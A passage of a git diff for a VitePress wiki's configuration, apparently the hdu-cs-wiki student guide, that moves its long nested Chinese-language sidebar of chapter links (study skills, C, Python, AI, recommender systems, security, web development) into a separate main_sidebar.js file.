'/3.编程思维体系构建/3.4.6.11.设置条件' }, - { text: '3.4.6.12.开启关闭', link: '/3.编程思维体系构建/3.4.6.12.开启关闭' }, - { text: '3.4.6.13.编写解析器', link: '/3.编程思维体系构建/3.4.6.13.编写解析器' }, - { text: '3.4.6.14.丰富命令', link: '/3.编程思维体系构建/3.4.6.14.丰富命令' }, - { text: '3.4.6.15.赋予明暗', link: '/3.编程思维体系构建/3.4.6.15.赋予明暗' }, - { text: '3.4.6.16.结语:你终将自由', link: '/3.编程思维体系构建/3.4.6.16.结语:你终将自由' }, - ] - }, - { - text: '3.4.7C基础知识杂谈', - collapsed: true, - items: [ - { text: '3.4.7C基础知识杂谈', link: '/3.编程思维体系构建/3.4.7C基础知识杂谈' }, - { text: '3.4.7.1GDB初探索(编程可阅览)', link: '/3.编程思维体系构建/3.4.7.1GDB初探索(编程可阅览)' }, - { text: '3.4.7.1.1调试理论', link: '/3.编程思维体系构建/3.4.7.1.1调试理论' }, - { text: '3.4.7.2C的历史问题:undefined behavior', link: '/3.编程思维体系构建/3.4.7.2C的历史问题:undefined behavior' }, - { text: '3.4.7.3C编译器干了什么', link: '/3.编程思维体系构建/3.4.7.3C编译器干了什么' }, - { text: '3.4.7.4Inline Assembly与链接加载', link: '/3.编程思维体系构建/3.4.7.4Inline Assembly与链接加载' }, - ] - }, - ] - }, - { text: '3.5git与github', link: '/3.编程思维体系构建/3.5git与github' }, - { - text: '3.6Python(灵巧的胶水)', - collapsed: true, - items: [ - { text: '3.6Python(灵巧的胶水)', link: '/3.编程思维体系构建/3.6Python(灵巧的胶水)' }, - { text: '3.6.1从CS61A看编程语言学习', link: '/3.编程思维体系构建/3.6.1从CS61A看编程语言学习' }, - { text: '3.6.2环境配置', link: '/3.编程思维体系构建/3.6.2环境配置' }, - { text: '3.6.3安装python', link: '/3.编程思维体系构建/3.6.3安装python' }, - { - text: '3.6.4Python for fun', - collapsed: true, - items: [ - { text: '3.6.4Python for fun', link: '/3.编程思维体系构建/3.6.4Python for fun' }, - { text: '3.6.4.0阶段零:Python解释器', link: '/3.编程思维体系构建/3.6.4.0阶段零:Python解释器' }, - { text: '3.6.4.1阶段一:熟悉语句', link: '/3.编程思维体系构建/3.6.4.1阶段一:熟悉语句' }, - { text: '3.6.4.2阶段二:递归操作', link: '/3.编程思维体系构建/3.6.4.2阶段二:递归操作' }, - { text: '3.6.4.3阶段三:数据抽象', link: '/3.编程思维体系构建/3.6.4.3阶段三:数据抽象' }, - { text: '3.6.4.4阶段四:高阶函数', link: '/3.编程思维体系构建/3.6.4.4阶段四:高阶函数' }, - { text: '3.6.4.5阶段五:迭代生成', link: '/3.编程思维体系构建/3.6.4.5阶段五:迭代生成' }, - { text: '3.6.4.6结语', link: '/3.编程思维体系构建/3.6.4.6结语' }, - ] - } - ] - }, - { text: '3.X 聊聊设计模式和程序设计', link: '/3.编程思维体系构建/3.X 聊聊设计模式和程序设计' }, - { - text: '3.Y 附加模块:Linux', - collapsed: true, - items: [ - { text: '3.Y 附加模块:Linux', link: '/3.编程思维体系构建/3.Y 附加模块:Linux' }, - { text: '3.Y.1VMware的安装与安装Ubuntu22.04系统', link: '/3.编程思维体系构建/3.Y.1VMware的安装与安装Ubuntu22.04系统' }, - { text: '3.Y.2WSL的安装', link: '/3.编程思维体系构建/3.Y.2WSL的安装' }, - { text: '3.Y.3Linux初探索', link: '/3.编程思维体系构建/3.Y.3Linux初探索' }, - { text: '3.Y.4Vim初探索', link: '/3.编程思维体系构建/3.Y.4Vim初探索' }, - { text: '3.Y.5linux小任务', link: '/3.编程思维体系构建/3.Y.5linux小任务' }, - ] - } - ] - }, - { - text: '4.人工智能', - collapsed: true, - items: [ - { text: '4.人工智能', link: '/4.人工智能/4.人工智能' }, - { text: '4.1前言', link: '/4.人工智能/4.1前言' }, - { text: '4.2机器学习(AI)快速入门(quick start)', link: '/4.人工智能/4.2机器学习(AI)快速入门(quick start)' }, - { - text: '4.3人工智能导论及机器学习入门', - collapsed: true, - items: [ - { text: '4.3人工智能导论及机器学习入门', link: '/4.人工智能/4.3人工智能导论及机器学习入门' }, - { - text: '4.3.1搜索', - collapsed: true, - items: [ - { text: '4.3.1搜索', link: '/4.人工智能/4.3.1搜索' }, - { text: '4.3.1.1程序示例——maze迷宫解搜索', link: '/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索' }, - { text: '4.3.1.2项目:Tic-Tac-Toe井字棋', link: '/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋' }, - ] - }, - { - text: '4.3.2知识推理', - collapsed: true, - items: [ - { text: '4.3.2知识推理', link: '/4.人工智能/4.3.2知识推理' }, - { text: '4.3.2.1程序示例——命题逻辑与模型检测', link: '/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测' }, - { text: '4.3.2.2项目:扫雷,骑士与流氓问题', link: '/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题' }, - ] - }, - { - text: '4.3.3不确定性问题', - collapsed: true, - items: [ - { text: '4.3.3不确定性问题', link: '/4.人工智能/4.3.3不确定性问题' }, - { text: '4.3.3.1程序示例', link: '/4.人工智能/4.3.3.1程序示例' }, - { text: '4.3.3.2项目:遗传', link: '/4.人工智能/4.3.3.2项目:遗传' }, - ] - }, - ] - }, - { text: '4.4FAQ:常见问题', link: '/4.人工智能/4.4FAQ:常见问题' }, - { - text: '4.6深度学习', - collapsed: true, - items: [ - { text: '4.6深度学习', link: '/4.人工智能/4.6深度学习' }, - { text: '4.6.1工欲善其事,必先利其器', link: '/4.人工智能/4.6.1工欲善其事,必先利其器' }, - { text: '4.6.2你可能会需要的术语介绍', link: '/4.人工智能/4.6.2你可能会需要的术语介绍' }, - { text: '4.6.3深度学习快速入门', link: '/4.人工智能/4.6.3深度学习快速入门' }, - { text: '4.6.4Pytorch安装', link: '/4.人工智能/4.6.4Pytorch安装' }, - { - text: '4.6.5计算机视觉(CV)', - collapsed: true, - items: [ - { text: '4.6.5计算机视觉(CV)', link: '/4.人工智能/4.6.5计算机视觉(CV)' }, - { text: '4.6.5.1CV领域任务(研究目标)', link: '/4.人工智能/4.6.5.1CV领域任务(研究目标)' }, - { - text: '4.6.5.2CV中的数据预处理(torchvision)', - collapsed: true, - items: [ - { text: '4.6.5.2CV中的数据预处理(torchvision)', link: '/4.人工智能/4.6.5.2CV中的数据预处理(torchvision)' }, - { text: '4.6.5.2.1数据读取', link: '/4.人工智能/4.6.5.2.1数据读取' }, - { text: '4.6.5.2.2数据增强', link: '/4.人工智能/4.6.5.2.2数据增强' }, - ] - }, - { - text: '4.6.5.3CV中的经典网络', - collapsed: true, - items: [ - { text: '4.6.5.3CV中的经典网络', link: '/4.人工智能/4.6.5.3CV中的经典网络' }, - { text: '4.6.5.3.1AlexNet', link: '/4.人工智能/4.6.5.3.1AlexNet' }, - { text: '4.6.5.3.2FCN', link: '/4.人工智能/4.6.5.3.2FCN' }, - { text: '4.6.5.3.3ResNet', link: '/4.人工智能/4.6.5.3.3ResNet' }, - { text: '4.6.5.3.4UNet', link: '/4.人工智能/4.6.5.3.4UNet' }, - { text: '4.6.5.3.5GAN', link: '/4.人工智能/4.6.5.3.5GAN' }, - { text: '4.6.5.3.6思考题参考', link: '/4.人工智能/4.6.5.3.6思考题参考' }, - { text: '4.6.5.3.7还要学更多?', link: '/4.人工智能/4.6.5.3.7还要学更多?' }, - ] - }, - { - text: '4.6.5.4神经辐射场(NeRF)', - collapsed: true, - items: [ - { text: '4.6.5.4神经辐射场(NeRF)', link: '/4.人工智能/4.6.5.4神经辐射场(NeRF)' }, - { text: '4.6.5.4.1NeRF', link: '/4.人工智能/4.6.5.4.1NeRF' }, - { text: '4.6.5.4.2NeRF的改进方向', link: '/4.人工智能/4.6.5.4.2NeRF的改进方向' }, - { text: '4.6.5.4.3自制数据集的工具COLMAP', link: '/4.人工智能/4.6.5.4.3自制数据集的工具COLMAP' }, - ] - }, - { - text: '4.6.5.5行人重识别(ReID)', - collapsed: true, - items: [ - { text: '4.6.5.5行人重识别(ReID)', link: '/4.人工智能/4.6.5.5行人重识别(ReID)' }, - ] - }, - ] - }, - { - text: '4.6.6自然语言处理(NLP)', - collapsed: true, - items: [ - { text: '4.6.6自然语言处理(NLP)', link: '/4.人工智能/4.6.6自然语言处理(NLP)' }, - { text: '4.6.6.1NLP领域任务(研究目标)', link: '/4.人工智能/4.6.6.1NLP领域任务(研究目标)' }, - { - text: '4.6.6.2推荐系统', - collapsed: true, - items: [ - { text: '4.6.6.2推荐系统', link: '/4.人工智能/4.6.6.2推荐系统' }, - { text: '4.6.6.2.1推荐系统经典模型综述', link: '/4.人工智能/4.6.6.2.1推荐系统经典模型综述' }, - { - text: '4.6.6.2.2基于数据的角度,看待推荐系统的构造', - collapsed: true, - items: [ - { text: '4.6.6.2.2基于数据的角度,看待推荐系统的构造', link: '/4.人工智能/4.6.6.2.2基于数据的角度,看待推荐系统的构造' }, - { text: '4.6.6.2.2.1《推荐系统实践》读后的一些想法', link: '/4.人工智能/4.6.6.2.2.1《推荐系统实践》读后的一些想法' }, - { text: '4.6.6.2.2.2推荐系统概念解释 and 一个好的推荐系统', link: '/4.人工智能/4.6.6.2.2.2推荐系统概念解释 and 一个好的推荐系统' }, - { text: '4.6.6.2.2.3推荐系统实例', link: '/4.人工智能/4.6.6.2.2.3推荐系统实例' }, - { text: '4.6.6.2.2.4利用用户行为数据', link: '/4.人工智能/4.6.6.2.2.4利用用户行为数据' }, - { text: '4.6.6.2.2.5推荐系统冷启动', link: '/4.人工智能/4.6.6.2.2.5推荐系统冷启动' }, - { text: '4.6.6.2.2.6利用标签信息', link: '/4.人工智能/4.6.6.2.2.6利用标签信息' }, - { text: '4.6.6.2.2.7利用上下文信息', link: '/4.人工智能/4.6.6.2.2.7利用上下文信息' }, - ] - }, - { text: '4.6.6.2.3序列化推荐', link: '/4.人工智能/4.6.6.2.3序列化推荐' }, - ] - }, - { text: '4.6.6.3知识图谱', link: '/4.人工智能/4.6.6.3知识图谱' }, - ] - }, - { - text: '4.6.7Transformer', - collapsed: true, - items: [ - { text: '4.6.7Transformer', link: '/4.人工智能/4.6.7Transformer' }, - { text: '4.6.7.1VIT', link: '/4.人工智能/4.6.7.1VIT' }, - { text: '4.6.7.2BERT', link: '/4.人工智能/4.6.7.2BERT' }, - { text: '4.6.7.3MAE', link: '/4.人工智能/4.6.7.3MAE' }, - ] - }, - { - text: '4.6.8对比学习', - collapsed: true, - items: [ - { text: '4.6.8对比学习', link: '/4.人工智能/4.6.8对比学习' }, - { text: '4.6.8.1前言', link: '/4.人工智能/4.6.8.1前言' }, - { text: '4.6.8.2Inst Disc', link: '/4.人工智能/4.6.8.2Inst Disc' }, - { text: '4.6.8.3定义正负样本的方式', link: '/4.人工智能/4.6.8.3定义正负样本的方式' }, - { text: '4.6.8.4MoCo', link: '/4.人工智能/4.6.8.4MoCo' }, - { text: '4.6.8.5SimCLR', link: '/4.人工智能/4.6.8.5SimCLR' }, - { text: '4.6.8.6SwAV', link: '/4.人工智能/4.6.8.6SwAV' }, - { text: '4.6.8.7BYOL', link: '/4.人工智能/4.6.8.7BYOL' }, - { text: '4.6.8.8SimSiam', link: '/4.人工智能/4.6.8.8SimSiam' }, - { text: '4.6.8.9MoCo v3', link: '/4.人工智能/4.6.8.9MoCo v3' }, - { text: '4.6.8.10总结', link: '/4.人工智能/4.6.8.10总结' }, - ] - }, - { - text: '4.6.9深度强化学习', - collapsed: true, - items: [ - { text: '4.6.9深度强化学习', link: '/4.人工智能/4.6.9深度强化学习' }, - { text: '4.6.9.1前言', link: '/4.人工智能/4.6.9.1前言' }, - { text: '4.6.9.2基础资料推荐', link: '/4.人工智能/4.6.9.2基础资料推荐' }, - { text: '4.6.9.3基本概念介绍', link: '/4.人工智能/4.6.9.3基本概念介绍' }, - ] - } - ] - }, - { text: '4.7图网络略述(intro&GCN)', link: '/4.人工智能/4.7图网络略述(intro&GCN)' }, - { text: '4.8数据分析', link: '/4.人工智能/4.8数据分析' }, - { text: '4.9如何做研究', link: '/4.人工智能/4.9如何做研究' }, - { text: '4.10科研论文写作', link: '/4.人工智能/4.10科研论文写作' }, - { text: '4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents', link: '/4.人工智能/4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents' }, - { text: '4.12本章节内容的局限性', link: '/4.人工智能/4.12本章节内容的局限性' }, - { text: 'SRT社团介绍', link: '/4.人工智能/SRT' }, - { - text: 'FunRec', - collapsed: true, - items: [ - { text: 'FunRec概述', link: '/4.人工智能/FunRec概述' }, - { - text: '推荐系统概述', - collapsed: true, - items: [ - { text: '推荐系统的意义', link: '/4.人工智能/ch01/ch1.1.md' }, - { text: '推荐系统架构', link: '/4.人工智能/ch01/ch1.2.md' }, - { text: '推荐系统技术栈', link: '/4.人工智能/ch01/ch1.3.md' }, - ] - }, - { - text: '推荐系统算法基础', - collapsed: true, - items: [ - { - text: '经典召回模型', - collapsed: true, - items: [ - { - text: '基于协同过滤的召回', collapsed: true, items: [ - { text: 'UserCF', link: '/4.人工智能/ch02/ch2.1/ch2.1.1/usercf.md' }, - { text: 'ItemCF', link: '/4.人工智能/ch02/ch2.1/ch2.1.1/itemcf.md' }, - { text: 'Swing', link: '/4.人工智能/ch02/ch2.1/ch2.1.1/Swing.md' }, - { text: '矩阵分解', link: '/4.人工智能/ch02/ch2.1/ch2.1.1/mf.md' }, - ] - }, - { text: 'FM召回', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/FM.md' }, - { - text: 'item2vec召回系列', collapsed: true, items: [ - { text: 'word2vec原理', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/word2vec.md' }, - { text: 'item2vec召回', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/item2vec.md' }, - { text: 'Airbnb召回', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/Airbnb.md' }, - ] - }, - { text: 'YoutubeDNN召回', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeDNN.md' }, - { - text: '双塔召回', collapsed: true, items: [ - { text: '经典双塔', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/DSSM.md' }, - { text: 'Youtube双塔', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeTwoTower.md' }, - ] - }, - { - text: '图召回', collapsed: true, items: [ - { text: 'EGES', link: '/4.人工智能/ch02/ch2.1/ch2.1.3/EGES.md' }, - { text: 'PinSAGE', link: '/4.人工智能/ch02/ch2.1/ch2.1.3/PinSage.md' }, - ] - }, - { - text: '序列召回', collapsed: true, items: [ - { text: 'MIND', link: '/4.人工智能/ch02/ch2.1/ch2.1.4/MIND.md' }, - { text: 'SDM', link: '/4.人工智能/ch02/ch2.1/ch2.1.4/SDM.md' }, - ] - }, - { - text: '树模型召回', collapsed: true, items: [ - { text: 'TDM', link: '/4.人工智能/ch02/ch2.1/ch2.1.5/TDM.md' }, - ] - } - ] - }, - { - text: '经典排序模型', - collapsed: true, - items: [ - { text: 'GBDT+LR', link: '/4.人工智能/ch02/ch2.2/ch2.2.1.md' }, - { - text: '特征交叉', collapsed: true, items: [ - { text: 'FM', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/FM.md' }, - { text: 'PNN', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/PNN.md' }, - { text: 'DCN', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/DCN.md' }, - { text: 'AutoInt', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/AutoInt.md' }, - { text: 'FiBiNET', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/FiBiNet.md' }, - ] - }, - { - text: 'WideNDeep系列', collapsed: true, items: [ - { text: 'Wide&Deep', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/WideNDeep.md' }, - { text: 'NFM', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/NFM.md' }, - { text: 'AFM', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/AFM.md' }, - { text: 'DeepFM', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/DeepFM.md' }, - { text: 'xDeepFM', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/xDeepFM.md' }, - ] - }, - { - text: '序列模型', collapsed: true, items: [ - { text: 'DIN', link: '/4.人工智能/ch02/ch2.2/ch2.2.4/DIN.md' }, - { text: 'DIEN', link: '/4.人工智能/ch02/ch2.2/ch2.2.4/DIEN.md' }, - { text: 'DSIN', link: '/4.人工智能/ch02/ch2.2/ch2.2.4/DSIN.md' }, - ] - }, - { - text: '多任务学习', collapsed: true, items: [ - { text: '多任务学习概述', link: '/4.人工智能/ch02/ch2.2/ch2.2.5/2.2.5.0.md' }, - { text: 'ESMM', link: '/4.人工智能/ch02/ch2.2/ch2.2.5/ESMM.md' }, - { text: 'MMOE', link: '/4.人工智能/ch02/ch2.2/ch2.2.5/MMOE.md' }, - { text: 'PLE', link: '/4.人工智能/ch02/ch2.2/ch2.2.5/PLE.md' }, - ] - } - ] - } - ] - } - ] - } - ] - }, - { - text: '5.富有生命的嵌入式', - collapsed: true, - items: [ - { text: '5.富有生命的嵌入式', link: '/5.富有生命的嵌入式/5.富有生命的嵌入式' }, - { text: '5.1嵌入式是什么?可以吃吗?', link: '/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?' }, - { text: '5.2New meaning of C', link: '/5.富有生命的嵌入式/5.2New meaning of C' }, - { text: '5.3还玩裸机?上操作系统!', link: '/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!' }, - ] - }, - { - text: '6.计算机安全', - collapsed: true, - items: [ - { text: '6.计算机安全', link: '/6.计算机安全/6.计算机安全' }, - { - text: '6.1Web安全', - collapsed: true, - items: [ - { text: '6.1Web安全', link: '/6.计算机安全/6.1Web安全' }, - { text: '6.1.1SQL 注入', link: '/6.计算机安全/6.1.1SQL 注入' }, - ] - }, - { - text: '6.2二进制安全', - collapsed: true, - items: [ - { text: '6.2二进制安全', link: '/6.计算机安全/6.2二进制安全' }, - { text: '6.2.1基础工具的使用', link: '/6.计算机安全/6.2.1基础工具的使用' }, - { text: '6.2.2软件破解、软件加固', link: '/6.计算机安全/6.2.2软件破解、软件加固' }, - ] - }, - { text: '6.3密码学', link: '/6.计算机安全/6.3密码学' }, - { text: '6.4安全杂项', link: '/6.计算机安全/6.4安全杂项' }, - ] - }, - { - text: '7.网络应用开发', - collapsed: true, - items: [ - { text: '7.网络应用开发入门', link: '/7.网络应用开发/7.网络应用开发入门' }, - { - text: '7.1WEB开发入门', - collapsed: true, - items: [ - { text: '7.1WEB开发入门', link: '/7.网络应用开发/7.1WEB开发入门' }, - { - text: '7.1.1前端部分', - collapsed: true, - items: [ - { text: '7.1.1前端部分', link: '/7.网络应用开发/7.1.1前端部分' }, - { text: '7.1.1.1基础部分', link: '/7.网络应用开发/7.1.1.1基础部分' }, - { text: '7.1.1.2进阶部分', link: '/7.网络应用开发/7.1.1.2进阶部分' }, - { text: '7.1.1.3附录1:前端介绍(详细版)', link: '/7.网络应用开发/7.1.1.3附录1:前端介绍(详细版)' }, - { text: '7.1.1.4附录2:大前端开发', link: '/7.网络应用开发/7.1.1.4附录2:大前端开发' }, - { text: '7.1.1.5附录3:跨端开发', link: '/7.网络应用开发/7.1.1.5附录3:跨端开发' }, - ] - }, - { - text: '7.1.2后端部分', - collapsed: true, - items: [ - { text: '7.1.2后端部分', link: '/7.网络应用开发/7.1.2后端部分' }, - { text: '7.1.2.1基础部分', link: '/7.网络应用开发/7.1.2.1基础部分' }, - { text: '7.1.2.2进阶部分', link: '/7.网络应用开发/7.1.2.2进阶部分' }, - ] - }, - ] - }, - ] - }, - { - text: '8.基础学科', - collapsed: true, - items: [ - { text: '8.基础学科', link: '/8.基础学科/8.基础学科' }, - { text: '8.1经济学科普Part1', link: '/8.基础学科/8.1经济学科普Part1' }, - ] - }, - { - text: 'Contributors', - link: '/contributors' - }, - { - text: '贡献指南', - link: '/CONTRIBUTING' - }, - { - text: 'notebook测试', - link: '/notebook' - } - ], + sidebar: { + '/': main_sidebar(), + '/hduhelp/': [ + { + text: 'HDU帮助', + link: '/hduhelp/notebook', + } + ] + }, socialLinks: [ { icon: 'github', link: 'https://github.com/camera-2018/hdu-cs-wiki' } ], diff --git a/.vitepress/main_sidebar.js b/.vitepress/main_sidebar.js new file mode 100644 index 0000000..e3d7893 --- /dev/null +++ b/.vitepress/main_sidebar.js @@ -0,0 +1,554 @@ +export function main_sidebar() { + return [ + { + text: '简介', + collapsed: true, + items: [ + { text: '简介', link: '/简介' }, + { text: '使用指南', link: '/使用指南' }, + ] + }, + { + text: '1.杭电生存指南(最重要模块)', + collapsed: true, + items: [ + { text: '1.1人文社科的重要性(韩健夫老师寄语)', link: '/1.杭电生存指南/1.1人文社科的重要性(韩健夫老师寄语)' }, + { text: '1.2竞赛指北', link: '/1.杭电生存指南/1.2竞赛指北' }, + { text: '1.3导师选择', link: '/1.杭电生存指南/1.3导师选择' }, + { text: '1.4小心项目陷阱', link: '/1.杭电生存指南/1.4小心项目陷阱' }, + { text: '1.5小组作业避雷指南', link: '/1.杭电生存指南/1.5小组作业避雷指南' }, + { text: '1.6正确解读GPA', link: '/1.杭电生存指南/1.6正确解读GPA' }, + { text: '1.7杭电出国自救指南', link: '/1.杭电生存指南/1.7杭电出国自救指南' }, + { text: '1.8转专业二三事', link: '/1.杭电生存指南/1.8转专业二三事' }, + { text: '1.9问题专题:好想进入实验室', link: '/1.杭电生存指南/1.9问题专题:好想进入实验室' }, + { text: '1.10如何读论文', link: '/1.杭电生存指南/1.10如何读论文' }, + { text: '1.11陷入虚无主义?进来看看吧', link: '/1.杭电生存指南/1.11陷入虚无主义?进来看看吧' }, + { text: '1.12程序员如何活久一点', link: '/1.杭电生存指南/1.12程序员如何活久一点' }, + { text: '1.13选课原则与抢课技巧', link: '/1.杭电生存指南/1.13选课原则与抢课技巧' }, + ] + }, + { + text: '2.高效学习', + collapsed: true, + items: [ + { text: '2.高效学习', link: '/2.高效学习/2.高效学习' }, + { + text: '2.1高效的前提:摆脱高中思维', + collapsed: true, + items: [ + { text: '2.1高效的前提:摆脱高中思维', link: '/2.高效学习/2.1高效的前提:摆脱高中思维' }, + { text: '2.1.1悲壮的学习方式', link: '/2.高效学习/2.1.1悲壮的学习方式' }, + { text: '2.1.2浮躁的心理状态', link: '/2.高效学习/2.1.2浮躁的心理状态' }, + { text: '2.1.3错误的提问姿态', link: '/2.高效学习/2.1.3错误的提问姿态' }, + { text: '2.1.4书籍的盲目崇拜', link: '/2.高效学习/2.1.4书籍的盲目崇拜' }, + { text: '2.1.5错误的学习配比', link: '/2.高效学习/2.1.5错误的学习配比' }, + ] + }, + { text: '2.2优雅的使用工具', link: '/2.高效学习/2.2优雅的使用工具' }, + { + text: '2.3高效的信息检索', + collapsed: true, + items: [ + { text: '2.3高效的信息检索', link: '/2.高效学习/2.3高效的信息检索' }, + { text: '2.3.1阅读文档(B百度爬)', link: '/2.高效学习/2.3.1阅读文档(B百度爬)' }, + { text: '2.3.2检索论文核心内容', link: '/2.高效学习/2.3.2检索论文核心内容' }, + { text: '2.3.3优秀的开源社区', link: '/2.高效学习/2.3.3优秀的开源社区' }, + { text: '补充:为什么不要用百度', link: '/2.高效学习/补充:为什么不要用百度' }, + ] + }, + { text: '2.4优雅的记笔记', link: '/2.高效学习/2.4优雅的记笔记' }, + { text: '2.5以理工科的方式阅读英语', link: '/2.高效学习/2.5以理工科的方式阅读英语' }, + ] + }, + { + text: '3.编程思维体系构建', + collapsed: true, + items: [ + { text: '3.编程思维体系构建', link: '/3.编程思维体系构建/3.编程思维体系构建' }, + { text: '3.0 编程入门之道', link: '/3.编程思维体系构建/3.0 编程入门之道' }, + { text: '3.1该使用哪个编辑器???', link: '/3.编程思维体系构建/3.1该使用哪个编辑器???' }, + { + text: '3.2算法杂谈', + collapsed: true, + items: [ + { text: '3.2算法杂谈', link: '/3.编程思维体系构建/3.2算法杂谈' }, + { text: '3.2.1为什么要选择ACM——谈谈我与ACM', link: '/3.编程思维体系构建/3.2.1为什么要选择ACM——谈谈我与ACM' }, + { text: '3.2.2手把手教你学算法——如何使用OJ(Online Judge)', link: '/3.编程思维体系构建/3.2.2手把手教你学算法——如何使用OJ(Online Judge)' }, + { text: '3.2.3ACM 竞赛从入门到入坟', link: '/3.编程思维体系构建/3.2.3ACM 竞赛从入门到入坟' }, + ] + }, + { text: '3.3如何选择编程语言', link: '/3.编程思维体系构建/3.3如何选择编程语言' }, + { + text: '3.4C语言', + collapsed: true, + items: [ + { text: '3.4C语言', link: '/3.编程思维体系构建/3.4C语言' }, + { text: '3.4.1FAQ:常见问题', link: '/3.编程思维体系构建/3.4.1FAQ:常见问题' }, + { text: '3.4.2用什么写 C 语言', link: '/3.编程思维体系构建/3.4.2用什么写 C 语言' }, + { text: '3.4.3解决编程问题的普适性过程', link: '/3.编程思维体系构建/3.4.3解决编程问题的普适性过程' }, + { text: '3.4.4C语言前置概念学习', link: '/3.编程思维体系构建/3.4.4C语言前置概念学习' }, + { + text: '3.4.5阶段一:编程属性', + collapsed: true, + items: [ + { text: '3.4.5阶段一:编程属性', link: '/3.编程思维体系构建/3.4.5阶段一:编程属性' }, + { text: '3.4.5.1C语言自测标准——链表', link: '/3.编程思维体系构建/3.4.5.1C语言自测标准——链表' }, + ] + }, + { + text: '3.4.6阶段二:文字冒险(cool)', + collapsed: true, + items: [ + { text: '3.4.6阶段二:文字冒险(cool)', link: '/3.编程思维体系构建/3.4.6阶段二:文字冒险(cool)' }, + { text: '3.4.6.1.开始冒险', link: '/3.编程思维体系构建/3.4.6.1.开始冒险' }, + { text: '3.4.6.2.探索未知', link: '/3.编程思维体系构建/3.4.6.2.探索未知' }, + { text: '3.4.6.3.指明地点', link: '/3.编程思维体系构建/3.4.6.3.指明地点' }, + { text: '3.4.6.4.创建对象', link: '/3.编程思维体系构建/3.4.6.4.创建对象' }, + { text: '3.4.6.5.捡起物品', link: '/3.编程思维体系构建/3.4.6.5.捡起物品' }, + { text: '3.4.6.6.绘制地图', link: '/3.编程思维体系构建/3.4.6.6.绘制地图' }, + { text: '3.4.6.7.增大距离', link: '/3.编程思维体系构建/3.4.6.7.增大距离' }, + { text: '3.4.6.8.移动方向', link: '/3.编程思维体系构建/3.4.6.8.移动方向' }, + { text: '3.4.6.9.练习:生成代码', link: '/3.编程思维体系构建/3.4.6.9.练习:生成代码' }, + { text: '3.4.6.10.增添属性', link: '/3.编程思维体系构建/3.4.6.10.增添属性' }, + { text: '3.4.6.11.设置条件', link: '/3.编程思维体系构建/3.4.6.11.设置条件' }, + { text: '3.4.6.12.开启关闭', link: '/3.编程思维体系构建/3.4.6.12.开启关闭' }, + { text: '3.4.6.13.编写解析器', link: '/3.编程思维体系构建/3.4.6.13.编写解析器' }, + { text: '3.4.6.14.丰富命令', link: '/3.编程思维体系构建/3.4.6.14.丰富命令' }, + { text: '3.4.6.15.赋予明暗', link: '/3.编程思维体系构建/3.4.6.15.赋予明暗' }, + { text: '3.4.6.16.结语:你终将自由', link: '/3.编程思维体系构建/3.4.6.16.结语:你终将自由' }, + ] + }, + { + text: '3.4.7C基础知识杂谈', + collapsed: true, + items: [ + { text: '3.4.7C基础知识杂谈', link: '/3.编程思维体系构建/3.4.7C基础知识杂谈' }, + { text: '3.4.7.1GDB初探索(编程可阅览)', link: '/3.编程思维体系构建/3.4.7.1GDB初探索(编程可阅览)' }, + { text: '3.4.7.1.1调试理论', link: '/3.编程思维体系构建/3.4.7.1.1调试理论' }, + { text: '3.4.7.2C的历史问题:undefined behavior', link: '/3.编程思维体系构建/3.4.7.2C的历史问题:undefined behavior' }, + { text: '3.4.7.3C编译器干了什么', link: '/3.编程思维体系构建/3.4.7.3C编译器干了什么' }, + { text: '3.4.7.4Inline Assembly与链接加载', link: '/3.编程思维体系构建/3.4.7.4Inline Assembly与链接加载' }, + ] + }, + ] + }, + { text: '3.5git与github', link: '/3.编程思维体系构建/3.5git与github' }, + { + text: '3.6Python(灵巧的胶水)', + collapsed: true, + items: [ + { text: '3.6Python(灵巧的胶水)', link: '/3.编程思维体系构建/3.6Python(灵巧的胶水)' }, + { text: '3.6.1从CS61A看编程语言学习', link: '/3.编程思维体系构建/3.6.1从CS61A看编程语言学习' }, + { text: '3.6.2环境配置', link: '/3.编程思维体系构建/3.6.2环境配置' }, + { text: '3.6.3安装python', link: '/3.编程思维体系构建/3.6.3安装python' }, + { + text: '3.6.4Python for fun', + collapsed: true, + items: [ + { text: '3.6.4Python for fun', link: '/3.编程思维体系构建/3.6.4Python for fun' }, + { text: '3.6.4.0阶段零:Python解释器', link: '/3.编程思维体系构建/3.6.4.0阶段零:Python解释器' }, + { text: '3.6.4.1阶段一:熟悉语句', link: '/3.编程思维体系构建/3.6.4.1阶段一:熟悉语句' }, + { text: '3.6.4.2阶段二:递归操作', link: '/3.编程思维体系构建/3.6.4.2阶段二:递归操作' }, + { text: '3.6.4.3阶段三:数据抽象', link: '/3.编程思维体系构建/3.6.4.3阶段三:数据抽象' }, + { text: '3.6.4.4阶段四:高阶函数', link: '/3.编程思维体系构建/3.6.4.4阶段四:高阶函数' }, + { text: '3.6.4.5阶段五:迭代生成', link: '/3.编程思维体系构建/3.6.4.5阶段五:迭代生成' }, + { text: '3.6.4.6结语', link: '/3.编程思维体系构建/3.6.4.6结语' }, + ] + } + ] + }, + { text: '3.X 聊聊设计模式和程序设计', link: '/3.编程思维体系构建/3.X 聊聊设计模式和程序设计' }, + { + text: '3.Y 附加模块:Linux', + collapsed: true, + items: [ + { text: '3.Y 附加模块:Linux', link: '/3.编程思维体系构建/3.Y 附加模块:Linux' }, + { text: 